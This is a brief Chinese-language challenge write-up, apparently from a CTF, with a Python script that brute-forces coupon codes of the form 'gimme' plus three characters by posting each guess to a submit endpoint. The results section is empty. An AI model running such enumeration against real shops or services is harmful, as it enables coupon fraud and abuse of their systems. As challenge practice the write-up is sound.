题目
今天抽空看了下题目,提示难蚌
思路
没有思路,观察到coupon code都是gimme加随机三位小写字母和数字的组合,暴力破解
import requests
import itertools
import string
from datetime import datetime
letters = string.ascii_lowercase
digits = string.digits
mixed = letters + digits
combinations = itertools.product(mixed, repeat=3)
prefix = 'gimme'
url = '' #这里是submit的url,找到填写
headers = {
'User-Agent': 'Mozilla/5.0',
'Content-Type': 'application/x-www-form-urlencoded'
}
def find_coupon_code(coupon_code, product_id, submit_date):
data = {
'coupon': coupon_code,
'product_id': product_id,
'submitdate': submit_date
}
response = requests.post(url, headers=headers, data=data)
data = response.json()
# print(data)
if data.get("result") == "OK":
print(f"Success! The code is: {coupon_code}")
print(f"Message: {data.get('code')}")
return True
elif data.get("result") == "Expired":
print(f"Coupon {coupon_code} is correct but expired.")
else:
print(f"{coupon_code} is not a valid code.")
return False
current_date = datetime.now().strftime('%Y-%m-%d')
for i in combinations:
coupon_code = prefix + ''.join(i)
if find_coupon_code(coupon_code, 'T009', current_date):
break
结果